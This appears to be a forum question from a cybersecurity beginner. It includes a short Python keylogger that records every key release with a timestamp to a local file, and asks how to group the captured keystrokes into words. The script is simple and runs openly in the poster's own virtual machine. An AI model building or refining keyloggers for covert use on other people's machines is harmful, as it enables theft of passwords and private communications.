I recently ventured into cybersecurity and I recently took on a project to create a keylogger using python programming language, And I am having a few difficulties in modifying my script. I currently make use of kali Linux OS on a virtual machine. Below is the python script I was able to create however I am a little stuck in making modifications to the code so that the key logger captures and stores the data back in form of group of words instead of individual characters and their time stamp.
import keyboard
import datetime
log_file= 'keylog.txt'
def write_to_log(key):
f=open(log_file, 'a')
f.write(f'{datetime.datetime.now()}: {key}\n')
f.close
def start_keylogger():
print('keylogger started. Press "q" to quit')
keyboard.on_release(write_to_log)
keyboard.wait('q')
keyboard.unhook_all()
print('keylogger has been stopped.')
start_keylogger()
